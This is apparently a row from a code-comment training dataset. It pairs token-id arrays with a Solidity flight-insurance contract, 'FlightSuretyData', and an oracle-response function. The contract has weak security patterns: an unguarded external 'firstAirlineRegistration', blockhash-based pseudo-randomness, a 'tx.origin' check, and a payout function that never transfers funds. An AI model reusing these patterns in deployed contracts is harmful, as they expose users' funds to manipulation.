0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
12083,
14060,
5948,
52,
3462,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
5267,
364,
1758,
31,
203,
203,
565,
445,
4183,
5912,
12,
203,
3639,
467,
5948,
52,
3462,
1147,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
5034,
460,
203,
97,
203,
203,
565,
262,
2713,
288,
203,
3639,
389,
1991,
6542,
990,
12,
2316,
16,
24126,
18,
3015,
1190,
4320,
12,
2316,
18,
13866,
18,
9663,
16,
358,
16,
460,
10019,
203,
565,
289,
203,
203,
565,
445,
4183,
5912,
1265,
12,
203,
3639,
467,
5948,
52,
3462,
1147,
16,
203,
3639,
1758,
628,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
5034,
460,
203,
565,
262,
2713,
288,
203,
3639,
389,
1991,
6542,
990,
12,
2316,
16,
24126,
18,
3015,
1190,
4320,
12,
2316,
18,
13866,
1265,
18,
9663,
16,
628,
16,
358,
16,
460,
10019,
203,
565,
289,
203,
203,
565,
445,
4183,
12053,
537,
12,
203,
3639,
467,
5948,
52,
3462,
1147,
16,
203,
3639,
1758,
17571,
264,
16,
203,
3639,
2254,
5034,
460,
203,
565,
262,
2713,
288,
203,
3639,
2583,
12,
203,
5411,
261,
1132,
422,
374,
13,
747,
261,
2316,
18,
5965,
1359,
12,
2867,
12,
2211,
3631,
17571,
264,
13,
422,
374,
3631,
203,
5411,
296,
9890,
5948,
52,
3462,
30,
6617,
537,
628,
1661,
17,
7124,
358,
1661,
17,
7124,
1699,
1359,
11,
203,
3639,
11272,
203,
3639,
389,
1991,
6542,
990,
12,
2316,
16,
24126,
18,
3015,
1190,
4320,
12,
2316,
18,
12908,
537,
18,
9663,
16,
17571,
264,
16,
460,
10019,
203,
565,
289,
203,
203,
565,
445,
4183,
382,
11908,
7009,
1359,
12,
203,
3639,
467,
5948,
52,
3462,
1147,
16,
203,
3639,
1758,
17571,
264,
16,
203,
3639,
2254,
5034,
460,
203,
565,
262,
2713,
288,
203,
3639,
2254,
5034,
394,
7009,
1359,
273,
1147,
18,
5965,
1359,
12,
2867,
12,
2211,
3631,
17571,
264,
2934,
1289,
12,
1132,
1769,
203,
3639,
389,
1991,
6542,
990,
12,
2316,
16,
24126,
18,
3015,
1190,
4320,
12,
2316,
18,
12908,
537,
18,
9663,
16,
17571,
264,
16,
394,
7009,
1359,
10019,
203,
565,
289,
203,
203,
565,
445,
4183,
23326,
448,
7009,
1359,
12,
203,
3639,
467,
5948,
52,
3462,
1147,
16,
203,
3639,
1758,
17571,
264,
16,
203,
3639,
2254,
5034,
460,
203,
565,
262,
2713,
288,
203,
3639,
2254,
5034,
394,
7009,
1359,
273,
1147,
18,
5965,
1359,
12,
2867,
12,
2211,
3631,
17571,
264,
2934,
1717,
12,
203,
5411,
460,
16,
203,
5411,
296,
9890,
5948,
52,
3462,
30,
23850,
8905,
1699,
1359,
5712,
3634,
11,
203,
3639,
11272,
203,
3639,
389,
1991,
6542,
990,
12,
2316,
16,
24126,
18,
3015,
1190,
4320,
12,
2316,
18,
12908,
537,
18,
9663,
16,
17571,
264,
16,
394,
7009,
1359,
10019,
203,
565,
289,
203,
203,
565,
445,
389,
1991,
6542,
990,
12,
45,
5948,
52,
3462,
1147,
16,
1731,
3778,
501,
13,
3238,
288,
203,
203,
3639,
1731,
3778,
327,
892,
273,
1758,
12,
2316,
2934,
915,
1477,
12,
892,
16,
296,
9890,
5948,
52,
3462,
30,
4587,
17,
2815,
745,
2535,
8284,
203,
3639,
309,
261,
2463,
892,
18,
2469,
405,
374,
13,
288,
203,
5411,
2583,
12,
21457,
18,
3922,
12,
2463,
892,
16,
261,
6430,
13,
3631,
296,
9890,
5948,
52,
3462,
30,
9722,
52,
3462,
1674,
5061,
486,
12897,
8284,
203,
3639,
289,
203,
565,
289,
203,
565,
445,
389,
1991,
6542,
990,
12,
45,
5948,
52,
3462,
1147,
16,
1731,
3778,
501,
13,
3238,
288,
203,
203,
3639,
1731,
3778,
327,
892,
273,
1758,
12,
2316,
2934,
915,
1477,
12,
892,
16,
296,
9890,
5948,
52,
3462,
30,
4587,
17,
2815,
745,
2535,
8284,
203,
3639,
309,
261,
2463,
892,
18,
2469,
405,
374,
13,
288,
203,
5411,
2583,
12,
21457,
18,
3922,
12,
2463,
892,
16,
261,
6430,
13,
3631,
296,
9890,
5948,
52,
3462,
30,
9722,
52,
3462,
1674,
5061,
486,
12897,
8284,
203,
3639,
289,
203,
565,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.25;
import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
contract FlightSuretyData {
using SafeMath for uint256;
/********************************************************************************************/
/* DATA VARIABLES */
/********************************************************************************************/
// Flight status codees
uint8 private constant STATUS_CODE_UNKNOWN = 0;
uint8 private constant STATUS_CODE_ON_TIME = 10;
uint8 private constant STATUS_CODE_LATE_AIRLINE = 20;
uint8 private constant STATUS_CODE_LATE_WEATHER = 30;
uint8 private constant STATUS_CODE_LATE_TECHNICAL = 40;
uint8 private constant STATUS_CODE_LATE_OTHER = 50;
// Fee to be paid when registering oracle
uint256 public constant REGISTRATION_FEE = 1 ether;
address private contractOwner; // Account used to deploy contract
mapping(address => uint256) private authorizedContracts; // External contracts authorized to call functions of data contract
bool private operational = true; // Blocks all state changes throughout the contract if false
uint8 private IART = 4; // (I)nitial (A)riline (R)egistration (T)hreshold
uint256 private numRegAirlines = 0; // Number of registered airlines
uint256 private numFundedAirlines = 0; // Number of funded airlines
mapping(address => address[]) private registrationVotes; // mapping to store the multiparty airline registration votes
mapping(bytes32 => Surety[]) private sureties; // mapping to store the relation flight-passengers
struct Surety {
address passenger;
uint pricePaid;
}
mapping(address => uint) private funds; // mapping to store the relation passengers-funds
struct Airline {
string name;
bool isCreated;
bool isRegistered;
bool isFunded;
}
mapping(address => Airline) airlines; // Mapping for storing airlines
struct Flight {
string description;
string flightCode;
bool isRegistered;
uint8 statusCode;
uint256 updatedTimestamp;
address airline;
}
mapping(bytes32 => Flight) public flights;
/********************************************************************************************/
/* EVENT DEFINITIONS */
/********************************************************************************************/
/**
* @dev Constructor
* The deploying account becomes contractOwner
*/
constructor() public
{
contractOwner = msg.sender;
}
// region function modifiers
/********************************************************************************************/
/* FUNCTION MODIFIERS */
/********************************************************************************************/
// Modifiers help avoid duplication of code. They are typically used to validate something
// before a function is allowed to be executed.
/**
* @dev Modifier that requires the "operational" boolean variable to be "true"
* This is used on all state changing functions to pause the contract in
* the event there is an issue that needs to be fixed
*/
modifier requireIsOperational()
{
require(operational, "Contract is currently not operational");
_; // All modifiers require an "_" which indicates where the function body will be added
}
/**
* @dev Modifier that requires the "ContractOwner" account to be the function caller
*/
modifier requireContractOwner()
{
require(msg.sender == contractOwner, "Caller is not contract owner");
_;
}
modifier requireIsCallerAuthorized
{
require(authorizedContracts[msg.sender] == 1, "Caller is not contract owner");
_;
}
modifier requireIsSenderFundedAirline(address sender)
{
require(airlines[sender].isFunded == true, "The airline is not funded!");
_;
}
modifier requireIsAirlineNotRegistered(address airlineAddress)
{
require(airlines[airlineAddress].isCreated == false, "The airline is already registered!");
_;
}
modifier requireIsAirlineNotFunded(address airlineAddress)
{
require(airlines[airlineAddress].isCreated == true, "The airline was not registered!");
require(airlines[airlineAddress].isFunded == false, "The airline was already funded!");
_;
}
modifier requireIsSuretyNotBought(string description, string flightCode, address airline, address sender) {
bool status = isSuretyAlreadyBought(description, flightCode, airline, sender);
require(status == false, "This passenger bought already a surety for this flight!");
_;
}
// endregion
// region utility region
/********************************************************************************************/
/* UTILITY FUNCTIONS */
/********************************************************************************************/
/**
* @dev Get operating status of contract
*
* @return A bool that is the current operating status
*/
function isOperational()
public
view
requireContractOwner
returns(bool)
{
return operational;
}
/**
* @dev Sets contract operations on/off
*
* When operational mode is disabled, all write transactions except for this one will fail
*/
function setOperatingStatus
(
bool mode
)
external
requireContractOwner
{
require(mode != operational, "New mode must be different from existing mode");
operational = mode;
}
function setTestingMode(bool value) public view
requireContractOwner requireIsOperational
returns(bool) {
return value;
}
function authorizeContract
(
address contractAddress
)
external
requireContractOwner
{
authorizedContracts[contractAddress] = 1;
}
function deauthorizeContract
(
address contractAddress
)
external
requireContractOwner
{
delete authorizedContracts[contractAddress];
}
// endregion
// region Smart contract functions
/********************************************************************************************/
/* SMART CONTRACT FUNCTIONS */
/********************************************************************************************/
function isSuretyAlreadyBought(string description, string flightCode, address airline, address sender) public view
requireIsCallerAuthorized
returns (bool)
{
bool result = false;
// generate key
bytes32 flightKey = keccak256(abi.encodePacked(airline, flightCode, description));
Surety[] memory _sureties = sureties[flightKey];
for (uint i=0; i < _sureties.length; i++) {
if (_sureties[i].passenger == sender) {
result = true;
break;
}
}
return result;
}
/**
* Get the number of registered airlines.
*/
function getNumRegAirlines() external view
requireIsCallerAuthorized
returns(uint256)
{
return numRegAirlines;
}
/**
* First airline registration hapenning when the contract is deployed.
*/
function fundAirline(address sender, uint value) external payable
requireIsCallerAuthorized
requireIsAirlineNotFunded(sender) {
// set the airline as funded
airlines[sender].isFunded = true;
numFundedAirlines ++;
}
/**
* @dev Add an airline to the registration queue
* Can only be called from FlightSuretyApp contract
*
*/
function registerAirline(address airlineAddress, string name, address sender) external
requireIsCallerAuthorized
requireIsAirlineNotRegistered(airlineAddress)
requireIsSenderFundedAirline(sender)
returns(bool success, uint256 votes)
{
// check if we are in the initial airlines registration threshold
if (numFundedAirlines < IART) {
// register the airline
airlines[airlineAddress] =
Airline({
name: name,
isCreated: true,
isRegistered: true,
isFunded: false
});
votes = 0;
success = true;
}
// Multipary case
else {
//address[] memory currentVotes = registrationVotes[airlineAddress];
bool isDuplicate = false;
for(uint c=0; c < registrationVotes[airlineAddress].length; c++) {
if (registrationVotes[airlineAddress][c] == sender) {
isDuplicate = true;
break;
}
}
require(!isDuplicate, "Caller has already called this function.");
registrationVotes[airlineAddress].push(sender);
if (registrationVotes[airlineAddress].length >= numFundedAirlines / 2) {
// register the airline
airlines[airlineAddress] =
Airline({
name: name,
isCreated: true,
isRegistered: true,
isFunded: false
});
success = true;
}
else {
success = false;
}
votes = registrationVotes[airlineAddress].length;
}
if (success) {
numRegAirlines ++;
}
return (success, votes);
}
/**
* First airline registration hapenning when the contract is deployed.
*/
function firstAirlineRegistration(address firstAirlineAddress, string firstAirlineName) external {
// register the airline
airlines[firstAirlineAddress] =
Airline({
name: firstAirlineName,
isCreated: true,
isRegistered: true,
isFunded: false
});
numRegAirlines ++;
}
/**
* Checks if a certain airline exists.
*/
function isAirline(address airlineAddress) public view
requireIsCallerAuthorized
returns(bool) {
return airlines[airlineAddress].isCreated;
}
/**
* Gets and airline.
*/
function getAirline(address airlineAddress) public view
requireIsCallerAuthorized
returns(string name, bool isCreated, bool isRegistered, bool isFunded)
{
return (
airlines[airlineAddress].name,
airlines[airlineAddress].isCreated,
airlines[airlineAddress].isRegistered,
airlines[airlineAddress].isFunded
);
}
/**
* @dev Register a future flight for insuring.
*
*/
function registerFlight(
string description,
string flightCode,
uint256 updatedTimestamp,
address airline) external
requireIsCallerAuthorized
{
// generate key
bytes32 key = keccak256(abi.encodePacked(airline, flightCode, description));
// register flight
flights[key] = Flight({
description: description,
flightCode: flightCode,
isRegistered: true,
statusCode: STATUS_CODE_UNKNOWN,
updatedTimestamp: updatedTimestamp,
airline: airline});
}
function getPassengerFunds(address passenger) public view returns (uint) {
return funds[passenger];
}
/**
* @dev Called after oracle has updated flight status
*
*/
function processFlightStatus(
address airline,
string flightCode,
string description,
uint8 statusCode)
internal
requireIsCallerAuthorized
{
bool fund = false;
if (statusCode == STATUS_CODE_UNKNOWN) {
fund = false;
}
else if (statusCode == STATUS_CODE_ON_TIME) {
fund = false;
}
else if (statusCode == STATUS_CODE_LATE_AIRLINE) {
fund = true;
}
else if (statusCode == STATUS_CODE_LATE_WEATHER) {
fund = true;
}
else if (statusCode == STATUS_CODE_LATE_TECHNICAL) {
fund = true;
}
else if (statusCode == STATUS_CODE_LATE_OTHER) {
fund = true;
}
if (fund) {
bytes32 flightKey = keccak256(abi.encodePacked(airline, flightCode, description));
Surety[] memory _sureties = sureties[flightKey];
for (uint i=0; i < _sureties.length; i++) {
address passenger = _sureties[i].passenger;
uint pricePaid = _sureties[i].pricePaid;
fundPassenger(passenger, pricePaid);
}
}
}
// Generate a request for oracles to fetch flight information
function fetchFlightStatus(
string description,
string flightCode,
address airline,
address sender
) external
requireIsCallerAuthorized
returns (uint8)
{
uint8 index = getRandomIndex(sender);
// Generate a unique key for storing the request
bytes32 key = keccak256(abi.encodePacked(index, airline, flightCode, description));
oracleResponses[key] =
ResponseInfo(
{
requester: sender,
isOpen: true
});
return index;
}
// endregion
// region ORACLE MANAGEMENT
// Incremented to add pseudo-randomness at various points
uint8 private nonce = 0;
// Number of oracles that must respond for valid status
uint256 private constant MIN_RESPONSES = 3;
struct Oracle {
bool isRegistered;
uint8[3] indexes;
}
// Track all registered oracles
mapping(address => Oracle) private oracles;
// Model for responses from oracles
struct ResponseInfo {
address requester; // Account that requested status
bool isOpen; // If open, oracle responses are accepted
mapping(uint8 => address[]) responses; // Mapping key is the status code reported
// This lets us group responses and identify
// the response that majority of the oracles
}
// Track all oracle responses
// Key = hash(index, flight, timestamp)
mapping(bytes32 => ResponseInfo) private oracleResponses;
// Register an oracle with the contract
function registerOracle
(address sender, uint value)
external
payable
requireIsCallerAuthorized
{
// Require registration fee
require(value >= REGISTRATION_FEE, "Registration fee is required");
uint8[3] memory indexes = generateIndexes(sender);
oracles[sender] =
Oracle({
isRegistered: true,
indexes: indexes
});
}
function getMyIndexes (address sender)
view
external
requireIsCallerAuthorized
returns(uint8[3])
{
require(oracles[sender].isRegistered, "Not registered as an oracle");
return oracles[sender].indexes;
}
// Called by oracle when a response is available to an outstanding request
// For the response to be accepted, there must be a pending request that is open
// and matches one of the three Indexes randomly assigned to the oracle at the
// time of registration (i.e. uninvited oracles are not welcome)
function submitOracleResponse
(
uint8 index,
address airline,
string flightCode,
string description,
uint8 statusCode,
address sender
)
external
requireIsCallerAuthorized
returns (bool)
{
require(
(oracles[sender].indexes[0] == index) ||
(oracles[sender].indexes[1] == index) ||
(oracles[sender].indexes[2] == index),
"Index does not match oracle request"
);
bool emitStatus = false;
bytes32 key = keccak256(abi.encodePacked(index, airline, flightCode, description));
require(oracleResponses[key].isOpen, "Flight or description do not match oracle request");
oracleResponses[key].responses[statusCode].push(sender);
// Information isn't considered verified until at least MIN_RESPONSES
// oracles respond with the *** same *** information
if (oracleResponses[key].responses[statusCode].length == MIN_RESPONSES) {
oracleResponses[key].isOpen = false;
delete oracleResponses[key].responses[statusCode];
emitStatus = true;
// Handle flight status as appropriate
processFlightStatus(airline, flightCode, description, statusCode);
}
return emitStatus;
}
// Returns array of three non-duplicating integers from 0-9
function generateIndexes
(
address account
)
internal
returns(uint8[3])
{
uint8[3] memory indexes;
indexes[0] = getRandomIndex(account);
indexes[1] = indexes[0];
while(indexes[1] == indexes[0]) {
indexes[1] = getRandomIndex(account);
}
indexes[2] = indexes[1];
while((indexes[2] == indexes[0]) || (indexes[2] == indexes[1])) {
indexes[2] = getRandomIndex(account);
}
return indexes;
}
// Returns array of three non-duplicating integers from 0-9
function getRandomIndex
(
address account
)
internal
returns (uint8)
{
uint8 maxValue = 10;
// Pseudo random number...the incrementing nonce adds variation
uint8 random = uint8(uint256(keccak256(abi.encodePacked(blockhash(block.number - nonce++), account))) % maxValue);
if (nonce > 250) {
nonce = 0; // Can only fetch blockhashes for last 256 blocks so we adapt
}
return random;
}
/**
* @dev Buy insurance for a flight
*
*/
function buySurety(string description, string flightCode, address airline, address sender, uint value)
requireIsCallerAuthorized
//requireIsSuretyNotBought(description, flightCode, airline, sender) // Error while compiling: Stack too deep, implemented inside the function
external
payable
{
bool status = isSuretyAlreadyBought(description, flightCode, airline, sender);
require(status == false, "This passenger bought already a surety for this flight!");
bytes32 flightKey = keccak256(abi.encodePacked(airline, flightCode, description));
Surety memory surety = Surety({
passenger: sender,
pricePaid: value
});
sureties[flightKey].push(surety);
}
/**
* @dev Credits payouts to insurees
*/
/*
function creditInsurees
(address passenger, uint fund)
requireIsCallerAuthorized
external
{
funds[passenger] = funds[passenger].add(fund);
}
*/
/**
* @dev Transfers eligible payout funds to insuree
*
*/
function payFunds
(uint amount, address passenger)
requireIsCallerAuthorized
external
payable
returns(uint amounToFund)
{
require(passenger == tx.origin, "Contracts not allowed");
require(funds[passenger] >= amount, "Insuficient funds");
uint _amount = funds[passenger];
funds[passenger] = funds[passenger].sub(_amount);
return _amount;
}
/**
* @dev Initial funding for the insurance. Unless there are too many delayed flights
* resulting in insurance payouts, the contract should be self-sustaining
*
*/
function fundPassenger
(address passenger, uint pricePaid)
private
requireIsCallerAuthorized
{
uint _fund = funds[passenger];
uint _halfPricePaid = pricePaid.div(2);
uint priceToFund = pricePaid.add(_halfPricePaid);
_fund = _fund.add(priceToFund);
funds[passenger] = funds[passenger] = _fund;
}
function getFlightKey
(
address airline,
string memory flight,
uint256 timestamp
)
pure
internal
returns(bytes32)
{
return keccak256(abi.encodePacked(airline, flight, timestamp));
}
/**
* @dev Fallback function for funding smart contract.
*
*/
function()
external
payable
{
//fund();
}
}
|
Called by oracle when a response is available to an outstanding request For the response to be accepted, there must be a pending request that is open and matches one of the three Indexes randomly assigned to the oracle at the time of registration (i.e. uninvited oracles are not welcome) Information isn't considered verified until at least MIN_RESPONSES oracles respond with the *** same *** information Handle flight status as appropriate
|
function submitOracleResponse
(
uint8 index,
address airline,
string flightCode,
string description,
uint8 statusCode,
address sender
)
external
requireIsCallerAuthorized
returns (bool)
{
require(
(oracles[sender].indexes[0] == index) ||
(oracles[sender].indexes[1] == index) ||
(oracles[sender].indexes[2] == index),
"Index does not match oracle request"
);
bool emitStatus = false;
bytes32 key = keccak256(abi.encodePacked(index, airline, flightCode, description));
require(oracleResponses[key].isOpen, "Flight or description do not match oracle request");
oracleResponses[key].responses[statusCode].push(sender);
if (oracleResponses[key].responses[statusCode].length == MIN_RESPONSES) {
oracleResponses[key].isOpen = false;
delete oracleResponses[key].responses[statusCode];
emitStatus = true;
processFlightStatus(airline, flightCode, description, statusCode);
}
return emitStatus;
}
| 1,054,286 |
[
1,
4625,
348,
7953,
560,
30,
225,
11782,
635,
20865,
1347,
279,
766,
353,
2319,
358,
392,
20974,
590,
2457,
326,
766,
358,
506,
8494,
16,
1915,
1297,
506,
279,
4634,
590,
716,
353,
1696,
471,
1885,
1245,
434,
326,
8925,
3340,
281,
20153,
6958,
358,
326,
20865,
622,
326,
813,
434,
7914,
261,
77,
18,
73,
18,
640,
5768,
16261,
578,
69,
9558,
854,
486,
28329,
13,
15353,
5177,
1404,
7399,
13808,
3180,
622,
4520,
6989,
67,
14508,
55,
578,
69,
9558,
6846,
598,
326,
18852,
1967,
18852,
1779,
5004,
25187,
1267,
487,
5505,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
4879,
23601,
1064,
203,
13491,
261,
203,
18701,
2254,
28,
770,
16,
203,
18701,
1758,
23350,
1369,
16,
203,
18701,
533,
25187,
1085,
16,
203,
18701,
533,
2477,
16,
203,
18701,
2254,
28,
6593,
16,
203,
18701,
1758,
5793,
203,
13491,
262,
7010,
13491,
3903,
203,
13491,
2583,
2520,
11095,
15341,
7010,
13491,
1135,
261,
6430,
13,
203,
565,
288,
203,
3639,
2583,
12,
203,
5411,
261,
10610,
9558,
63,
15330,
8009,
11265,
63,
20,
65,
422,
770,
13,
747,
7010,
5411,
261,
10610,
9558,
63,
15330,
8009,
11265,
63,
21,
65,
422,
770,
13,
747,
7010,
5411,
261,
10610,
9558,
63,
15330,
8009,
11265,
63,
22,
65,
422,
770,
3631,
7010,
5411,
315,
1016,
1552,
486,
845,
20865,
590,
6,
203,
3639,
11272,
203,
203,
3639,
1426,
3626,
1482,
273,
629,
31,
203,
203,
3639,
1731,
1578,
498,
273,
417,
24410,
581,
5034,
12,
21457,
18,
3015,
4420,
329,
12,
1615,
16,
23350,
1369,
16,
25187,
1085,
16,
2477,
10019,
7010,
3639,
2583,
12,
280,
16066,
12222,
63,
856,
8009,
291,
3678,
16,
315,
24243,
578,
2477,
741,
486,
845,
20865,
590,
8863,
203,
203,
3639,
20865,
12222,
63,
856,
8009,
11822,
63,
30120,
8009,
6206,
12,
15330,
1769,
203,
203,
3639,
309,
261,
280,
16066,
12222,
63,
856,
8009,
11822,
63,
30120,
8009,
2469,
422,
6989,
67,
14508,
55,
13,
288,
203,
2398,
203,
5411,
20865,
12222,
63,
856,
8009,
291,
3678,
273,
629,
31,
1377,
203,
5411,
1430,
20865,
12222,
63,
856,
8009,
11822,
63,
30120,
15533,
10792,
203,
203,
5411,
3626,
1482,
273,
638,
31,
203,
203,
5411,
1207,
24243,
1482,
12,
1826,
1369,
16,
25187,
1085,
16,
2477,
16,
6593,
1769,
203,
3639,
